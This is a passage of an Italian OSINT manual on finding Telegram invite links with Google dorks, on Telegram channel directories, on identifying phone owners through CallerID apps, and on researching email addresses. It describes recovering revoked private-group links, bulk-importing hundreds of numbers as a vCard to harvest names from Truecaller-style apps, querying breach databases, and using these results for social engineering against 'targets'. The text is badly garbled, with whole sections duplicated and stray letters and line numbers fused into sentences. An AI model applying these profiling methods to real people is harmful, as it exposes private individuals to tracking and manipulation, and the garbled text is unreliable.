Un esempio semplice di un Google Dork che potrebbe essere utilizzato per trovare i link di invito a gruppi o canali Telegram è includere operazioni come *site:* seguito dall'URL di Telegram e termini chiave come "join" o "invitation". Il sito di Telegram utilizzato per i link è "t.me", quindi la query potrebbe apparire così:

`site:t.me join`

`site:t.me invitation`

Utilizzando operatori avanzati come "*intext:*" o "*inurl:*", possiamo restringere ancora di più la ricerca, cercando specifici argomenti o gruppi con parole chiave nel titolo o nella descrizione.

Tra le sfumature da considerare c'è che questi tipi di dork possono portare a risultati obsoleti o a inviti che non sono più validi. È quindi fondamentale verificare la freschezza delle informazioni trovate, possibilmente utilizzando filtri di ricerca per tempo.

Per approfondire, non ci si deve fermare agli inviti pubblici. Anche i link scaduti o revocati possono dare informazioni: talvolta è possibile trovare nelle cache di Google o attraverso snapshot di Wayback Machine le vecchie pagine contenenti link di gruppi privati o canali.

Nel caso si incappasse in un link revocato, la curiosità non deve fermarsi. Anzi, è l'opportunità per scavare più a fondo. A volte, i nomi dei gruppi o dei canali rimangono nei risultati di ricerca e possono essere utilizzati per cercare ulteriori informazioni attraverso altri mezzi OSINT.

Ovviamente, la saggezza nell'OSINT ricorda anche che molte risorse possono essere protette da privacy o semplicemente inaccessibili senza gli appropriati diritti di accesso. È imperativo rispettare le leggi e le norme etiche nell'uso di queste tecniche.

D'altra parte, Google non è l'unico spazio in cui i Google Dork possono essere sfruttati per scopi di ricerca. È anche utile verificare altri motori di ricerca come Bing o DuckDuckGo. Ogni

piattaforma ha il suo sistema di indicizzazione, e qualche volta si possono trovare informazioni su una, ma non sull'altra.

Nel contesto di Telegram, trovare un link di invito può aprirci le porte a una moltitudine di contenuti. In un canale, per esempio, si può accedere a documenti condivisi, foto, video e discussioni passate. È un po' come avere fra le mani un archivio vivente di ciò che succede in un certo ambiente online.

Strumenti come il *time range* di Google possono aiutare a focalizzare la ricerca nei periodi di tempo più rilevanti. Per esempio, se sappiamo che un evento è avvenuto in un lasso temporale specifico, possiamo cercare discussioni o inviti relativi a quel periodo per provare a ottenere informazioni più pertinenti.

Non va poi dimenticato il potenziale di altri operatori di ricerca come "*filetype:*" o "*related:*". Il primo può essere utile qualora si sospetti che sfugga qualche documento caricato online, mentre il secondo aiuta a scoprire siti o pagine legati a un certo argomento o dominio.

L'arte del Google Dorking è una disciplina che richiede pratica ed esperienza. E non è raro che si richieda un processo iterativo di "trial and error" prima di colpire nel segno. Ma come ogni buon investigatore OSINT sa, la pazienza e la persistenza vengono spesso ricompensate con informazioni preziose.

Senza dimenticare che l'uso dei Dork deve essere guidato sempre da un obiettivo chiaro. Prima di iniziare a cercare, definisci cosa vuoi trovare e perché. Questo aiuterà a concentrare le ricerche e a costruire query più efficaci.

In conclusione, l'uso dei Google Dork per trovare link di invito su Telegram non è solo una questione di immettere la giusta combinazione di parole chiave nell'onnisciente barra di ricerca di Google. È un processo meticoloso che richiede comprensione, creatività ed etica. E per voi studenti affamati di conoscenza OSINT, è un'abilità inestimabile che porta con sé il potere di scoprire mondi nascosti all'interno del vasto universo di Telegram.

a

piattaforma ha il suo sistema di indicizzazione, e qualche volta si possono trovare informazioni su una, ma non sull'altra.

Nel contesto di Telegram, trovare un link di invito può aprirci le porte a una moltitudine di contenuti. In un canale, per esempio, si può accedere a documenti condivisi, foto, video e discussioni passate. È un po' come avere fra le mani un archivio vivente di ciò che succede in un certo ambiente online.

Strumenti come il *time range* di Google possono aiutare a focalizzare la ricerca nei periodi di tempo più rilevanti. Per esempio, se sappiamo che un evento è avvenuto in un lasso temporale specifico, possiamo cercare discussioni o inviti relativi a quel periodo per provare a ottenere informazioni più pertinenti.

Non va poi dimenticato il potenziale di altri operatori di ricerca come “*filetype:*” o “*related:*”. Il primo può essere utile qualora si sospetti che sfugga qualche documento caricato online, mentre il secondo aiuta a scoprire siti o pagine legati a un certo argomento o dominio.

L'arte del Google Dorking è una disciplina che richiede pratica ed esperienza. E non è raro che si richieda un processo iterativo di “trial and error” prima di colpire nel segno. Ma come ogni buon investigatore OSINT sa, la pazienza e la persistenza vengono spesso ricompensate con informazioni preziose.

Senza dimenticare che l'uso dei Dork deve essere guidato sempre da un obiettivo chiaro. Prima di iniziare a cercare, definisci cosa vuoi trovare e perché. Questo aiuterà a concentrare le ricerche e a costruire query più efficaci.

In conclusione, l'uso dei Google Dork per trovare link di invito su Telegram non è solo una questione di immettere la giusta combinazione di parole chiave nell'onnisciente barra di ricerca di Google. È un processo meticoloso che richiede comprensione, creatività ed etica. E per voi, studenti affamati di conoscenza OSINT, è un'abilità inestimabile che porta con sé il potere di scoprire mondi nascosti all'interno del vasto universo di Telegram.

SITI CHE LISTANO CANALI TELEGRAM

Nel mare magnum di Telegram, trovare canali specifici può rivelarsi un'odissea se non si sa da dove cominciare. È qui che entrano in gioco i siti che elencano sistematicamente i canali trasformandosi in compassi preziosi per navigare tra le onde dell'informazione. Vediamone insieme alcuni di quelli più utili per questa ricerca.

Un primo sito da considerare è *Telegram Channels*. Questo sito è un catalogo che ospita migliaia di canali divisi per categorie tematiche. Da canali educativi a quelli dedicati all'entertainment, passando per gruppi di discussione su vari argomenti, la varietà è sorprendente. L'interfaccia utente è intuitiva, permettendo una navigazione agevole anche ai meno esperti.

Un altro sito da non perdere è *tlgrm.eu/channels*. Questo offre una vasta selezione e permette agli utenti di votare i canali, fornendo così un'indicazione sulla qualità e sulla popolarità dei gruppi elencati. Inoltre, mette in evidenza i canali in rapida crescita, suggerendo tendenze e interessi emergenti nella comunità di Telegram.

Passiamo poi a *Combot*, che oltre a essere un utile bot per la gestione dei canali e dei gruppi, fornisce anche statistiche e una classifica dei canali più popolari. Queste informazioni possono essere utilissime per capire quali siano i canali con maggiore interazione e attività.

C'è anche *Telegram-Channel.com*, particolarmente apprezzato per la sua capacità di filtrare i canali per lingua e paese. Questo risulta fondamentale quando si cerca di fare ricerca e analisi OSINT incentrata su aree geografiche specifiche.

Non manchiamo di citare *SearchTelegram.com*, che si distingue per fornire una potente funzionalità di ricerca. È possibile cercare canali utilizzando parole chiave, rendendo molto più semplice scovare informazioni o conversazioni pertinenti ai temi di interesse.

Per gli amanti dei dati, *Telegram Analytics* è un vero e proprio tesoro. Il sito offre ricche analisi sui canali e persino sui bot Telegram. Si tratta di una risorsa preziosa per coloro che sono interessati non solo al contenuto dei canali, ma anche ai pattern di crescita e alle dinamiche della piattaforma.

Mentre per chi cerca un'esperienza più visuale, *Telegram Channels Media* mette a disposizione diverse immagini e anteprime dei post all'interno dei canali, aiutando gli utenti a farsi un'idea dei contenuti prima di entrare nel canale stesso.

Oltre ai siti di elenchi, alcuni motori di ricerca specializzati come

Telemetr.io offrono la possibilità di ricercare all'interno dei canali Telegram stessi. Questo può portare alla scoperta di canali meno noti che non compaiono negli elenchi più popolari.

È importante sottolineare che i risultati possono variare da un sito all'altro; pertanto, è consigliabile incrociare le informazioni per ottenere un quadro il più completo possibile. Ricorda anche di essere critico nelle tue ricerche, dato che la popolarità non equivale sempre a qualità o rilevanza.

La chiarezza è fondamentale, ed è per questo che ogni canale è solitamente accompagnato da una breve descrizione. Queste sintesi sono utili, ma non sostituiscono un'analisi approfondita del contenuto del canale, che dovreste sempre effettuare prima di trarre conclusioni.

Tieni anche a mente che nuovi canali sbocciano quotidianamente. Per restare aggiornati, considerate l'idea di utilizzare alcuni di questi siti come parte di una routine regolare di controllo per scoprire nuovi arrivi e possibili fonti d'informazione.

Per chi sta effettuando ricerche avanzate, alcuni di questi siti permettono anche di monitorare il numero di membri e l'attività dei canali nel tempo, offrendo dunque una panoramica dell'engagement e della crescita o declino di un canale.

Infine, un consiglio pratico: mentre esplori questi siti, tieni un elenco dei canali che vi sembrano più promettenti. Potresti scoprire che molti hanno punti di contatto o temi ricorrenti, suggerendo aree di indagine potenzialmente fruttuose.

In conclusione, i siti che listano canali Telegram possono davvero spalancare le porte a un universo di informazioni, facilitando la ricerca e l'analisi in ambito OSINT. Usali con giudizio, esplora con curiosità e, soprattutto, non dimenticare di incrociare i dati per una maggiore affidabilità delle tue scoperte!

e
a

È importante sottolineare che i risultati possono variare da un sito all'altro; pertanto, è consigliabile incrociare le informazioni per ottenere un quadro il più completo possibile. Ricorda anche di essere critico nelle tue ricerche, dato che la popolarità non equivale sempre a qualità o rilevanza.

La chiarezza è fondamentale, ed è per questo che ogni canale è solitamente accompagnato da una breve descrizione. Queste sintesi sono utili, ma non sostituiscono un'analisi approfondita del contenuto del canale, che dovreste sempre effettuare prima di trarre conclusioni.

Tieni anche a mente che nuovi canali sbocciano quotidianamente. Per restare aggiornati, considerate l'idea di utilizzare alcuni di questi siti come parte di una routine regolare di controllo per scoprire nuovi arrivi e possibili fonti d'informazione.

Per chi sta effettuando ricerche avanzate, alcuni di questi siti permettono anche di monitorare il numero di membri e l'attività dei canali nel tempo, offrendo dunque una panoramica dell'engagement e della crescita o declino di un canale.

Infine, un consiglio pratico: mentre esplori questi siti, tieni un elenco dei canali che vi sembrano più promettenti. Potresti scoprire che molti hanno punti di contatto o temi ricorrenti, suggerendo aree di indagine potenzialmente fruttuose.

In conclusione, i siti che listano canali Telegram possono davvero spalancare le porte a un universo di informazioni, facilitando la ricerca e l'analisi in ambito OSINT. Usali con giudizio, esplora con curiosità e, soprattutto, non dimenticare di incrociare i dati per una maggiore affidabilità delle tue scoperte!

Capitolo 12: Servizi di

Identificazione Telefonica e MultiUtenza

Dopo aver esplorato le dinamiche di Telegram nel capitolo precedente, è il momento di scavare nelle profondità dei servizi di identificazione telefonica, perché ogni numero di telefono può essere una miniera d'oro di informazioni. Hai mai pensato alla potenza di un numero in termini di identificare qualcuno o capire con chi comunica? Non è solo una serie di cifre casuali ma un vero e proprio identificatore univoco che può aprire porte nascoste. Tratteremo il tema del CallerID, un vero alleato nella rivelazione dell'identità dietro a una chiamata in arrivo, senza trascurare le strategie per gestire e sfruttare le informazioni derivanti da contatti multipli. Immaginate di avere tra le mani un mosaico di numeri e di poterli ricondurre a singole tessere che compongono l'intero quadro di una persona o di un'organizzazione. Entreremo nel vivo di come quei semplici numeri associati a una persona possano essere analizzati per tracciare connessioni, chiarire schemi di comunicazione o semplicemente identificare chi ci sta chiamando. Tutto questo, naturalmente, con un occhio sempre attento alle normative e all'etica che regolamentano l'uso delle informazioni in questo delicato ambito.

Capitolo 12: Servizi di

Identificazione Telefonica e MultiUtenza

Dopo aver esplorato le dinamiche di Telegram nel capitolo precedente, è il momento di scavare nelle profondità dei servizi di identificazione telefonica, perché ogni numero di telefono può essere una miniera d'oro di informazioni. Hai mai pensato alla potenza di un numero in termini di identificare qualcuno o capire con chi comunica? Non è solo una serie di cifre casuali ma un vero e proprio identificatore univoco che può aprire porte nascoste. Tratteremo il tema del CallerID, un vero alleato nella rivelazione dell'identità dietro a una chiamata in arrivo, senza trascurare le strategie per gestire e sfruttare le informazioni derivanti da contatti multipli. Immaginate di avere tra le mani un mosaico di numeri e di poterli ricondurre a singole tessere che compongono l'intero quadro di una persona o di un'organizzazione. Entreremo nel vivo di come quei semplici numeri associati a una persona possano essere analizzati per tracciare connessioni, chiarire schemi di comunicazione o semplicemente identificare chi ci sta chiamando. Tutto questo, naturalmente, con un occhio sempre attento alle normative e all'etica che regolamentano l'uso delle informazioni in questo delicato ambito.

L'UNIVOCITÀ DEL NUMERO TELEFONICO E L'IMPORTANZA A FINI OSINT

Dopo aver chiarito come Telegram e i suoi meccanismi possano essere sfruttati nell'intelligence open source, è il momento di toccare un aspetto cruciale di ogni indagine digitale: l'inconfondibile univocità del numero telefonico. Capite, ogni numero di telefono è un indizio prezioso, una sorta di firma digitale che può collegare pezzi altrimenti dispersi di un puzzle investigativo.

In campo OSINT, il numero telefonico può fungere da filo d'Arianna, guidando gli investigator attraverso un labirinto di informazioni. Si tratta di uno degli identificatori personali più consistenti. Quando un numero telefonico può essere collegato a un individuo, questo può rivelare dati che vanno ben oltre la semplice anagrafica del proprietario.

Ma perché tale interesse nei confronti di una serie di cifre? Ebbene, mentre un nome può essere comune e persino più soggetti possono dividerlo, il numero telefonico è unico per ciascun contratto con l'operatore. Proprio come un'impronta digitale, un numero può essere tracciato attraverso registrazioni di chiamate, profili social collegati, app di messaggistica e altre piazze digitali.

Immagina il numero telefonico come un filo connesso a una ragnatela di attività e contatti. Da un semplice numero, potresti rintracciare piattaforme online su cui è stato registrato, l'area geografica della sim, e – con gli strumenti adeguati – anche contatti frequenti e profili sociali secondari.

Adesso, ti starai chiedendo: come può essere utilizzato a fini investigativi? Be', il primo passo è identificare il numero di telefono. Questo può avvenire tramite fonti accessibili al pubblico, come siti web, database online, o tramite data leakage. Una volta ottenuto il numero, si procede con lo step analysis, usando diverse strategie e tool specifici di identificazione telefonica.

I servizi di "Reverse Phone Lookup" sono strumenti ampiamente impiegati in questo ambito. Consentono di retrocedere dall'identificativo numerico alle informazioni del proprietario o ai possibili utilizzi sui vari servizi web. Questo permette di costruire una mappa dettagliata delle associazioni di una persona.

Inoltre, grazie ai moderni servizi di sincronizzazione per la gestione dei contatti, come quelli offerti dai principali sistemi operativi per smartphone, i numeri di telefono sono spesso legati a profili di social media, account e-mail e persino a storici delle posizioni.

L'analisi dei metadati legati ai numeri telefonici può offrire un quadro incredibilmente dettagliato delle connessioni tra soggetti e delle loro abitudini.

Vale sempre ricordare, però, che nella foresta di dati che si vorrebbe esplorare, è facile inciampare nel rischio della disinformazione o nelle trappole messe in atto dai più scaltri, che instradano i loro numeri attraverso servizi che ne mascherano l'origine o li rendono irriconoscibili.

Un altro aspetto da non sottovalutare è l'uso di numeri virtuali o temporanei, sempre più diffusi per eludere le indagini e per preservare l'anonimato. Si tratta quindi di un campo che richiede flessibilità e un'aggiornata conoscenza degli strumenti più validi per non perdere la pista.

L'approccio moderno all'OSINT sui numeri telefonici non si ferma alla semplice associazione numero-individuo, ma si estende a un'analisi dinamica di come il numero interagisce con l'ambiente digitale circostante.

L'importanza del numero telefonico nelle investigazioni OSINT risiede nella sua capacità di funzionare come chiave d'accesso a un mondo di informazioni correlata. Una rigorosa indagine che parta da questo punto di partenza può dominare il corso di un'analisi, dando vita a nuove piste investigative e a risultati talvolta sorprendenti.

Sì, l'OSINT è come un immenso puzzle e l'univocità del numero telefonico può essere quel pezzo che, se posizionato con precisione, aiuta a vedere l'intera immagine.

1

a

l

e

Vale sempre ricordare, però, che nella foresta di dati che si vorrebbe esplorare, è facile inciampare nel rischio della disinformazione o nelle trappole messe in atto dai più scaltri, che instradano i loro numeri attraverso servizi che ne mascherano l'origine o li rendono irriconoscibili.

Un altro aspetto da non sottovalutare è l'uso di numeri virtuali o temporanei, sempre più diffusi per eludere le indagini e per preservare l'anonimato. Si tratta quindi di un campo che richiede flessibilità e un'aggiornata conoscenza degli strumenti più validi per non perdere la pista.

L'approccio moderno all'OSINT sui numeri telefonici non si ferma alla semplice associazione numero-individuo, ma si estende a un'analisi dinamica di come il numero interagisce con l'ambiente digitale circostante.

L'importanza del numero telefonico nelle investigazioni OSINT risiede nella sua capacità di funzionare come chiave d'accesso a un mondo di informazioni correlata. Una rigorosa indagine che parta da questo punto di partenza può dominare il corso di un'analisi, dando vita a nuove piste investigative e a risultati talvolta sorprendenti.

Sì, l'OSINT è come un immenso puzzle e l'univocità del numero telefonico può essere quel pezzo che, se posizionato con precisione, aiuta a vedere l'intera immagine.

I SERVIZI CALLERID

E splorando ulteriormente il mondo dei servizi di identificazione telefonica, arriviamo a conoscere gli strumenti fondamentali per qualsiasi investigatore OSINT: i servizi CallerID. Questi servizi sono come un occhio magico digitale che ci svela l'identità di chi sta chiamando quando, magari, sul display appare solo un numero sconosciuto.

Prima di tutto, che cos'è un servizio CallerID? In breve, si tratta di un servizio che mostra il nome o le informazioni associate a un numero di telefono quando si riceve una chiamata. Per chi lavora nell'ambito OSINT, questo strumento si trasforma in una chiave d'accesso per scoprire non solo il nome del titolare della linea, ma spesso anche dati complementari come l'indirizzo o altre informazioni pubbliche.

Gli investigatori OSINT hanno la possibilità di usare diversi servizi CallerID disponibili online. Alcuni di questi sono gratuiti e offrono informazioni di base, mentre altri sono a pagamento e forniscono dati più approfonditi. Ecco perché è cruciale capire quale sia il più adatto alle circostanze dell'indagine.

Un uso tipico di questi servizi può essere la verifica dell'attendibilità di un contatto ricevuto. Mettiamo per esempio che un numero ci contatti insistendo per una questione urgente. Con un buon CallerID, potremmo scoprire se il numero è legato a qualche azienda o se, per esempio, è stato segnalato come parte di truffe note.

D'altra parte, il servizio CallerID non ci viene in aiuto soltanto per difenderci da possibili truffe. È anche uno strumento potentissimo per l'ingegneria sociale, permettendoci, per esempio, di raccogliere informazioni pertinenti sui nostri target che possono giocare un ruolo determinante nelle nostre indagini.

Uno dei principali vantaggi di questi servizi è quello di riuscire a collegare i numeri di telefono a indirizzi fisici e account online. Può sembrare poco, ma avere l'indirizzo esatto collegato a un numero di telefono può aprire un mondo di possibilità investigative. Penso subito alla possibilità di cross-referenziare queste informazioni con database o altri dati presi da social media e piattaforme online.

Si potrebbe pensare che l'utente medio non si preoccupi tanto della privacy del proprio numero. Eppure, di fronte a un possibile spam telefonico o a chiamate pubblicitarie indesiderate, anche l'utente più inesperto può rapidamente imparare a celare il proprio numero. E qui entra in gioco il valore di un servizio CallerID più avanzato.

Per chi si occupa di OSINT, l'uso dei servizi CallerID deve sempre essere accompagnato da un rigoroso rispetto della privacy e delle normative vigenti. È facile capire che stiamo maneggiando

dati sensibili, e dobbiamo operare con l'etica sempre in primo piano.

Alcuni servizi CallerID, oltre a fornire l'ID del chiamante, permettono anche di bloccare numeri sospetti o indesiderati. Questo può risultare particolarmente utile quando si configurano delle trappole OSINT o si impostano dei sistemi di monitoraggio delle comunicazioni.

Possiamo utilizzare questi servizi non solo per riconoscere chi ci sta chiamando, ma anche per verificare l'attendibilità di un numero fornitoci da una fonte qualsiasi. Spesso, soprattutto in contesti lavorativi, potrebbe esserci la necessità di confermare l'autenticità di un contatto telefonico prima di procedere con trattative o scambi di informazioni critici.

La vastità dei database su cui si appoggiano i vari servizi CallerID è da considerarsi un'arma a doppio taglio. Da un lato, ci garantisce un accesso pressoché completo al panorama telefonico, dall'altro ci pone di fronte al rischio di false positività o dati non aggiornati. È quindi essenziale saper interpretare e validare le informazioni ricevute.

Molti professionisti OSINT sviluppano una sorta di intuito digitale, affinato dopo innumerevoli ricerche. Questo sesto senso può essere un ottimo alleato nell'identificare eventuali anomalie o incongruenze nei dati forniti da un servizio CallerID.

D'altro canto, è innegabile che il CallerID sia solo il punto di partenza di un'indagine OSINT completa. Dopo aver scoperto l'ID di un numero, si possono aprire diverse piste investigative: verificare la presenza nei social network, controllare registrazioni in siti specifici, o analizzare i movimenti attraverso database pubblici e registri.

Questi servizi vengono alimentati dagli stessi utenti che li scaricano, in quanto uno dei prerequisiti per l'accesso a questi database è concedere tutta la propria rubrica telefonica al servizio utilizzato. Si tratta quindi di un ciclo senza fine, più utenti scaricano l'applicazione e concedono la propria rubrica, più l'applicazione sarà utile per gli utenti, più verrà nuovamente scaricata da nuovi utenti.

Facendo questa premessa: le applicazioni CallerID migliori sono quelle più scaricate nel Playstore.

Quindi aprite il vostro emulatore Android (collegato a una nuova e-mail Gmail senza alcun contatto all'interno, in modo da evitare di concedere i nostri contatti) e scarichiamo le seguenti app:

- Sync.me;
- Truecaller;
- ShowCaller;

- CallApp.

Ritengo che queste quattro applicazioni siano le migliori in assoluto, molte altre applicazioni disponibili sul Playstore sono “cloni” non ufficiali delle applicazioni riportate sopra, in cui la unica differenza è il nome dell’app. Tuttavia, sei invitato a provarne anche altre in modo da migliorare la tua efficienza con i numeri telefonici.

1Inserendo una numerazione telefonica queste app restituiranno se disponibile un nominativo, 2detto “reale utilizzatore”, che potrebbe essere differente dall’intestatario della sim stessa.

Pensiamo per esempio a un minorenne che usa una sim intestata a un genitore, in questo caso 3troveremo il nome del figlio.

4Siccome il dato viene recuperato direttamente dalle rubriche di altri utenti può capitare che la 5numerazione sia associata a un username, a un vezzeggiativo o ad altri dettagli.

Ricordo con piacere la volta che individuai il nominativo “marco bianchi spaccino” e in un altro 6iCallerID “Mauri98 erba”. Ovviamente si tratta di un nome di fantasia, ma è utile per far capire 7come cercando in questi CallerID abbia ottenuto non solo la probabile “professione” del soggetto 8target, ma anche un username da utilizzare per individuare altri account associati al soggetto 9Target.

10Un’altra funzionalità utile di alcune app permette di conoscere un profilo Social associato a 11il soggetto, sempre se ovviamente l’utente da cui questo dato è stato “preso” abbia inserito il 12profilo social linkandolo a un numero telefonico.

Siccome la maggior parte degli utenti non legge i termini di servizio, è molto probabile che 13qualcuno dei tuoi conoscenti abbia concesso il tuo numero telefonico a queste app, è sempre 14bene sapere che è possibile richiedere la rimozione.

Le applicazioni Sync.me e Truecaller sono disponibili anche online senza bisogno di un 15emulatore Android, entrambe richiedono l’accesso con un’e-mail! Fai attenzione a non 16concedere tutti i contatti che avrai nella tua casella (numeri telefonici e indirizzi e-mail).

Infine, mentre ci addentriamo in queste indagini, è sempre importante ricordare di documentare 17ogni passo. In un mondo dove il volume di informazioni disponibili è enorme e in continua 18evoluzione, mantenere una traccia scrupolosa del proprio lavoro è fondamentale. Questo non 19solo ci aiuta a essere più efficienti, ma garantisce anche che ogni scoperta possa essere verificata 20e validata da colleghi o clienti.

In conclusione, i servizi CallerID rappresentano uno strumento prezioso per chi opera nel campo 21dell’OSINT e dell’ingegneria sociale. Come per ogni strumento, il loro effettivo valore emerge 22quando sono maneggiati con maestria, etica e un occhio critico sempre aperto.

i
a
a

a

)

l
l

e
e

INVESTIGADOR_Z

LAVORARE CON CONTATTI MULTIPLI

Quando si tratta di indagini OSINT, è normale imbattersi in scenari in cui si gestiscono simultaneamente molteplici contatti telefonici. Questa situazione può presentare sfide uniche in quanto richiede di organizzare e analizzare grandi quantità di dati in modo efficiente, minimizzando la possibilità di confusione o perdita di informazioni preziose.

Pensiamo, per esempio, all'investigazione di una rete criminale o alla gestione di un evento di crisi: le telefonate possono essere numerose e provenire da fonti diverse. È fondamentale utilizzare strumenti che permettano di etichettare e catalogare ogni numero di telefono con relativo contesto, che siano Caller ID, registrazioni delle chiamate o log delle telecomunicazioni.

L'uso di sistemi Caller ID avanzati è d'aiuto nel riconoscere e assegnare un'identità ai numeri. Grazie a questi servizi, si può spesso ottenere una prima identificazione visuale del chiamante che può aiutare a guidare il contesto della conversazione o l'analisi successiva.

Può capitare che durante le nostre analisi ci tocchi lavorare con centinaia di numeri differenti, alcune app di CallerID (per esempio CallApp) ci possono venire in aiuto permettendoci di sincronizzare tutta la nostra rubrica e ottenere così il nominativo in automatico (aggiornando di fatto i nomi in rubrica).

La cosa più comoda per aggiungere centinaia di numeri in rubrica prima di sincronizzarli è di creare una VCARD.

Per farlo, possiamo utilizzare uno dei numerosi programmi online per convertire un file CSV in VCARD (esempio questo: <http://www.csvtovcard.com>).

Quindi i passi sono i seguenti:

- crea un CSV con i contatti;
- trasformalo in vcard;
- importa il file in rubrica;
- sincronizzalo nell'App di CallerID.

Ricorda che tutti i nominativi che riceviamo automaticamente vanno esportati, salvati da qualche parte, per poi eliminare l'intera rubrica, reinserire il file con solo numeri e ripetere l'operazione su un'altra app di CallerID.

Questo per prevenire la sostituzione dei nomi già individuati con altri nomi (è nostro interesse avere più "nominativi o vezzeggiativi" possibili per singolo numero, in maniera da avere un'idea precisa).

,

.
e

1

e
e

e
a

INVESTIGADOR_Z

Capitolo 13: Tecniche di Ricerca E-mail e Profili Associati

Avendo esplorato la potenza dei dati telefonici nel capitolo precedente, ci avventuriamo ora nel mondo dell'e-mail e come questa possa essere una chiave d'accesso per scoprire molte informazioni sul proprietario. Questo capitolo ti guiderà attraverso le tecniche per scovare e analizzare indirizzi e-mail e collegarli ai vari profili social o professionali di una persona. Inizieremo delucidando l'importanza dell'indirizzo e-mail come punto di partenza per le ricerche OSINT e ti mostreremo come utilizzare strumenti specifici, quali Osint Industries, per rintracciare i profili associati e tirare fuori le connessioni nascoste. Assorbendo la conoscenza di questo capitolo, avrai a disposizione una serie di approcci efficaci per la ricerca e lo sfruttamento dei dati, senza però trapeolare nei successivi argomenti e strumenti che approfondiremo nei capitoli a venire.

Capitolo 13: Tecniche di Ricerca E-mail e Profili Associati

Avendo esplorato la potenza dei dati telefonici nel capitolo precedente, ci avventuriamo ora nel mondo dell'e-mail e come questa possa essere una chiave d'accesso per scoprire molte informazioni sul proprietario. Questo capitolo ti guiderà attraverso le tecniche per scovare e analizzare indirizzi e-mail e collegarli ai vari profili social o professionali di una persona. Inizieremo delucidando l'importanza dell'indirizzo e-mail come punto di partenza per le ricerche OSINT e ti mostreremo come utilizzare strumenti specifici, quali Osint Industries, per rintracciare i profili associati e tirare fuori le connessioni nascoste. Assorbendo la conoscenza di questo capitolo, avrai a disposizione una serie di approcci efficaci per la ricerca e lo sfruttamento dei dati, senza però trapeolare nei successivi argomenti e strumenti che approfondiremo nei capitoli a venire.

COS'È UN INDIRIZZO E-MAIL

Avventurandoci nel mondo delle ricerche OSINT, non possiamo ignorare l'importanza di comprendere cos'è un indirizzo e-mail. Fondamentalmente, un indirizzo e-mail è un'identificazione univoca che ci consente di inviare e ricevere messaggi attraverso una rete elettronica che funge da sistema di posta moderno.

L'indirizzo e-mail è composto da diverse parti e ogni componente ha il suo significato specifico. La parte prima della chiocciola (@), nota come "local-part", è usualmente una combinazione di caratteri alfabetici e numerici che identifica univocamente l'utente all'interno del dominio. A seguire la chiocciola troviamo il "domain-part", che identifica il dominio, ovvero l'entità o provider di servizi e-mail che ospita la casella di posta.

Il dominio può darci informazioni preziose sull'utente o l'organizzazione dietro all'indirizzo e-mail. Per esempio, un dominio che termina in ".edu" potrebbe indicare un utente associato a un istituto educativo. I domini personalizzati, poi, possono rappresentare una compagnia o un professionista con una propria identità digitale.

Quando si parla di indirizzi e-mail, è pure essenziale capire cosa sia SMTP, il protocollo di trasferimento della posta semplice, che è il metodo standard utilizzato dai server per inviare le e-mail. Dunque, il funzionamento degli indirizzi e-mail è strettamente legato a questi protocolli e servizi tecnici.

Avere una comprensione di base di cosa costituisce un indirizzo e-mail è fondamentale anche quando si tratta di ricerca OSINT, poiché gli indirizzi e-mail spesso fungono da chiavi per sbloccare ulteriori informazioni. Ricercare un indirizzo e-mail può rivelare non solo i contatti pubblici di un individuo, ma potenzialmente anche altre sue identità digitali.

D'altra parte, è anche necessario essere consapevoli della presenza di indirizzi di posta elettronica temporanei o *jetable*, che sono spesso usati per bypassare i requisiti di iscrizione o per proteggere la privacy dell'utente. Tali servizi permettono di creare indirizzi e-mail usa e getta che, dopo un breve periodo, vengono automaticamente eliminati.

Oggi, con l'aumento delle preoccupazioni per la privacy e la sicurezza online, molti utenti optano per servizi di e-mail che offrono criptaggio end-to-end e protezione dei dati, come ProtonMail. L'anonimato che questi servizi offrono può rappresentare una sfida nelle ricerche OSINT, poiché rende più complicato rintracciare il proprietario dell'indirizzo e-mail.

Ma perché gli indirizzi e-mail sono così cruciali nell'ambito OSINT? Bene, essi spesso servono come identificativo universale per molte forme di registrazione online. Che si tratti di social

network, forum o altri servizi online, l'indirizzo e-mail è quasi sempre al centro degli account utente.

Trovare associazioni tra un indirizzo e-mail e altri dati personali può essere una miniera d'oro per i ricercatori OSINT. Per esempio, attraverso l'analisi di dati provenienti da violazioni o archivi pubblici, si può scoprire dove e come una persona ha utilizzato il proprio indirizzo e-mail su Internet.

Inoltre, gli indirizzi e-mail possono essere usati per effettuare ricerche avanzate con l'ausilio di query particolari nei motori di ricerca, o sfruttati per accedere a database di violazione dei dati, a fine di recuperare informazioni associate a quell'indirizzo.

Ma non è tutto: spesso, gli indirizzi e-mail lasciano indizi sulla stessa struttura del nome, che può rivelarsi utile. Per esempio, se un indirizzo e-mail è formato seguendo il pattern nome.cognome@dominio.com, si può ipotizzare l'identità del proprietario e usare queste informazioni come punto di partenza per ulteriori ricerche.

Questo capitolo ti ha fornito una panoramica di cosa sia un indirizzo e-mail e di come la sua comprensione sia essenziale per chi si appresta a navigare nelle acque dell'OSINT. Ci sono molti aspetti e dettagli da considerare, ma con le basi giuste, si può iniziare a scavare più a fondo nel vasto oceano di informazioni disponibili online.

Nei prossimi capitoli, esploreremo metodi più dettagliati e avanzati per trovare e analizzare gli indirizzi e-mail e come questi si collegano al vasto mondo dei profili associati. Ogni pezzo di informazione può essere un tassello prezioso nel puzzle dell'intelligence online. È ora di mettere in pratica quanto appreso e svelare ulteriori segreti tramite l'OSINT e l'indirizzo e-mail.

a
r
a

network, forum o altri servizi online, l'indirizzo e-mail è quasi sempre al centro degli account utente.

Trovare associazioni tra un indirizzo e-mail e altri dati personali può essere una miniera d'oro per i ricercatori OSINT. Per esempio, attraverso l'analisi di dati provenienti da violazioni o archivi pubblici, si può scoprire dove e come una persona ha utilizzato il proprio indirizzo e-mail su Internet.

Inoltre, gli indirizzi e-mail possono essere usati per effettuare ricerche avanzate con l'ausilio di query particolari nei motori di ricerca, o sfruttati per accedere a database di violazione dei dati, al fine di recuperare informazioni associate a quell'indirizzo.

Ma non è tutto: spesso, gli indirizzi e-mail lasciano indizi sulla stessa struttura del nome, che può rivelarsi utile. Per esempio, se un indirizzo e-mail è formato seguendo il pattern nome.cognome@dominio.com, si può ipotizzare l'identità del proprietario e usare queste informazioni come punto di partenza per ulteriori ricerche.

Questo capitolo ti ha fornito una panoramica di cosa sia un indirizzo e-mail e di come la sua comprensione sia essenziale per chi si appresta a navigare nelle acque dell'OSINT. Ci sono molti aspetti e dettagli da considerare, ma con le basi giuste, si può iniziare a scavare più a fondo nel vasto oceano di informazioni disponibili online.

